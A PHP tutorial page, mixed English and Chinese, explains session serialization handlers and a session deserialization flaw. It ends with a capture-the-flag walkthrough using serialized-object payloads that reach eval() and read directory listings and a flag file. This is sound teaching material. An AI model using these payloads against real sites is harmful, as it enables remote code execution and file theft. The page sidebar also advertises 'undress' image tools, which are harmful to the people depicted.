search
HomeBackend DevelopmentPHP TutorialDetailed introduction to PHP's session deserialization vulnerability

This article brings you relevant knowledge about PHP, which mainly introduces the issues related to session deserialization vulnerabilities, that is, serializing and storing Session data and deserializing and reading Session Different data methods lead to Session deserialization vulnerabilities. I hope it will be helpful to everyone.

"Detailed

Recommended study: "PHP Video Tutorial"

PHP session deserialization vulnerability

PHP sessionDeserialization vulnerability is caused by the difference between [serialized storage of Session data] and [deserialized reading of Session data]sessionGeneration of deserialization vulnerability

What is session

OfficialSessionDefinition: In computers, especially in network applications, it is called " Session Control". Session The object stores the properties and configuration information required for a specific user session. The main features are as follows:

  • sessionThe saved location is on the server side
  • sessionusually needs to be matched with cookieUse

Because of the stateless nature of HTTP, the server generates session to identify the current user status

Essentially, session is a data storage technology that can maintain the server side. That is, **session technology is a technology that temporarily stores data based on the backend that is different from the database**

PHP session workflow

Take PHP as an example, Understand the principle of session

  1. When the PHP script uses session_start() to open the session session, it will automatically detect PHPSESSID
    • If Cookie exists, get PHPSESSID
    • If Cookie does not exist, create a PHPSESSID, and save it to the browser in the form of Cookie through the response header
  2. Initialize the super global variable $_SESSION to an empty array
  3. PHP uses PHPSESSID to specify the location (PHPSESSIDfile storage location) to match the corresponding file
    • The file exists: read the file content (through deserialization mode), store the data in $_SESSION
    • The file does not exist: session_start() creates a PHPSESSIDnamed file
  4. After the program is executed, all the data saved in $_SESSION will be serialized and stored in the file corresponding to PHPSESSID

Specific schematic diagram:

""

php.ini session configuration

php.iniThere are more important sessionconfiguration items

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

PHP session serialization mechanism

According to the configuration items in php.ini, we study the serialization of all data saved in $_SESSION Stored in the file corresponding to PHPSESSID, three different processing formats are used, namely the three engines defined by session.serialize_handler:

Processor Corresponding storage format
php Key name + vertical bar + after serialize( ) The value processed by the function deserialization
php_binary The ASCII character corresponding to the length of the key name + key name + the value processed by the serialize() function deserialization
php_serialize (php>=5.5.4) Array deserialized by serialize() function

PHP processor

First let’s take a look at the serialization result when the default session.serialize_handler = php, the code is as follows

<?php //ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>

""

For For easy viewing, set the session storage directory to session.save_path = "/www/php_session", and the PHPSESSID file is as follows

""

1. File name

The file name is sess_mpnnbont606f50eb178na451od, where mpnnbont606f50eb178na451od is the # carried by Cookie in subsequent request headers The value of ##PHPSESSID (as shown in the above picture has been stored in the browser)

2. File content

php processor storage format

Key nameVertical barThe value deserialized by the serialize() function##$_SESSION[ 'name'] key name: name

php_binary处理器

使用php_binary处理器,即session.serialize_handler = php_binary

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>

由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

""

| s:6:"harden";
键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
$ namenamenamenamenamenamenamenamename s:6:“harden”;

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>

文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

""

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php,使用php_serialize处理器来存储session数据

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;session&#39;] = $_GET[&#39;session&#39;];echo $_SESSION[&#39;session&#39;];?>

test.php,使用默认php处理器来存储session数据

<?phpsession_start ();class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }}$str = new f4ke();?>

接着,我们构建URL进行访问session.php

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

""

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

""

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名 竖线 经过 serialize() 函数反序列处理的值
a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';

我们访问test.php,即可直接执行phpinfo()函数

""

CTF例题:PHPINFO

<?php //A webshell is wait for youini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);session_start();class OowoO{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }}if(isset($_GET['phpinfo'])){
    $m = new OowoO();}else{
    highlight_string(file_get_contents('index.php'));}?>

我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

""

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

""

下面是官方给出的一个文件上传时监测进度例子:


 " value="123" />     

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php $_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 ));

其中,session中的field_namename都是我们可控的输入点!

下面我们就开始解题拿到flag

首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

""

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件


     

构造序列化字符串作为payload(利用代码)

<?phpclass  OowoO{
    public $mdzz=&#39;print_r(scandir(dirname(__FILE__)));&#39;;}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为了防止"被转义,我们在payload中加入\

随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

""

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求包,代码执行过程分析:

""

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

""

phpinfo查看当前目录,/opt/lampp/htdocs/

""

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

""

推荐学习:《PHP视频教程

The above is the detailed content of Detailed introduction to PHP's session deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:CSDN. If there is any infringement, please contact admin@php.cn delete
PHP: An Introduction to the Server-Side Scripting LanguagePHP: An Introduction to the Server-Side Scripting LanguageApr 16, 2025 am 12:18 AM

PHP is a server-side scripting language used for dynamic web development and server-side applications. 1.PHP is an interpreted language that does not require compilation and is suitable for rapid development. 2. PHP code is embedded in HTML, making it easy to develop web pages. 3. PHP processes server-side logic, generates HTML output, and supports user interaction and data processing. 4. PHP can interact with the database, process form submission, and execute server-side tasks.

PHP and the Web: Exploring its Long-Term ImpactPHP and the Web: Exploring its Long-Term ImpactApr 16, 2025 am 12:17 AM

PHP has shaped the network over the past few decades and will continue to play an important role in web development. 1) PHP originated in 1994 and has become the first choice for developers due to its ease of use and seamless integration with MySQL. 2) Its core functions include generating dynamic content and integrating with the database, allowing the website to be updated in real time and displayed in personalized manner. 3) The wide application and ecosystem of PHP have driven its long-term impact, but it also faces version updates and security challenges. 4) Performance improvements in recent years, such as the release of PHP7, enable it to compete with modern languages. 5) In the future, PHP needs to deal with new challenges such as containerization and microservices, but its flexibility and active community make it adaptable.

Why Use PHP? Advantages and Benefits ExplainedWhy Use PHP? Advantages and Benefits ExplainedApr 16, 2025 am 12:16 AM

The core benefits of PHP include ease of learning, strong web development support, rich libraries and frameworks, high performance and scalability, cross-platform compatibility, and cost-effectiveness. 1) Easy to learn and use, suitable for beginners; 2) Good integration with web servers and supports multiple databases; 3) Have powerful frameworks such as Laravel; 4) High performance can be achieved through optimization; 5) Support multiple operating systems; 6) Open source to reduce development costs.

Debunking the Myths: Is PHP Really a Dead Language?Debunking the Myths: Is PHP Really a Dead Language?Apr 16, 2025 am 12:15 AM

PHP is not dead. 1) The PHP community actively solves performance and security issues, and PHP7.x improves performance. 2) PHP is suitable for modern web development and is widely used in large websites. 3) PHP is easy to learn and the server performs well, but the type system is not as strict as static languages. 4) PHP is still important in the fields of content management and e-commerce, and the ecosystem continues to evolve. 5) Optimize performance through OPcache and APC, and use OOP and design patterns to improve code quality.

The PHP vs. Python Debate: Which is Better?The PHP vs. Python Debate: Which is Better?Apr 16, 2025 am 12:03 AM

PHP and Python have their own advantages and disadvantages, and the choice depends on the project requirements. 1) PHP is suitable for web development, easy to learn, rich community resources, but the syntax is not modern enough, and performance and security need to be paid attention to. 2) Python is suitable for data science and machine learning, with concise syntax and easy to learn, but there are bottlenecks in execution speed and memory management.

PHP's Purpose: Building Dynamic WebsitesPHP's Purpose: Building Dynamic WebsitesApr 15, 2025 am 12:18 AM

PHP is used to build dynamic websites, and its core functions include: 1. Generate dynamic content and generate web pages in real time by connecting with the database; 2. Process user interaction and form submissions, verify inputs and respond to operations; 3. Manage sessions and user authentication to provide a personalized experience; 4. Optimize performance and follow best practices to improve website efficiency and security.

PHP: Handling Databases and Server-Side LogicPHP: Handling Databases and Server-Side LogicApr 15, 2025 am 12:15 AM

PHP uses MySQLi and PDO extensions to interact in database operations and server-side logic processing, and processes server-side logic through functions such as session management. 1) Use MySQLi or PDO to connect to the database and execute SQL queries. 2) Handle HTTP requests and user status through session management and other functions. 3) Use transactions to ensure the atomicity of database operations. 4) Prevent SQL injection, use exception handling and closing connections for debugging. 5) Optimize performance through indexing and cache, write highly readable code and perform error handling.

How do you prevent SQL Injection in PHP? (Prepared statements, PDO)How do you prevent SQL Injection in PHP? (Prepared statements, PDO)Apr 15, 2025 am 12:15 AM

Using preprocessing statements and PDO in PHP can effectively prevent SQL injection attacks. 1) Use PDO to connect to the database and set the error mode. 2) Create preprocessing statements through the prepare method and pass data using placeholders and execute methods. 3) Process query results and ensure the security and performance of the code.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.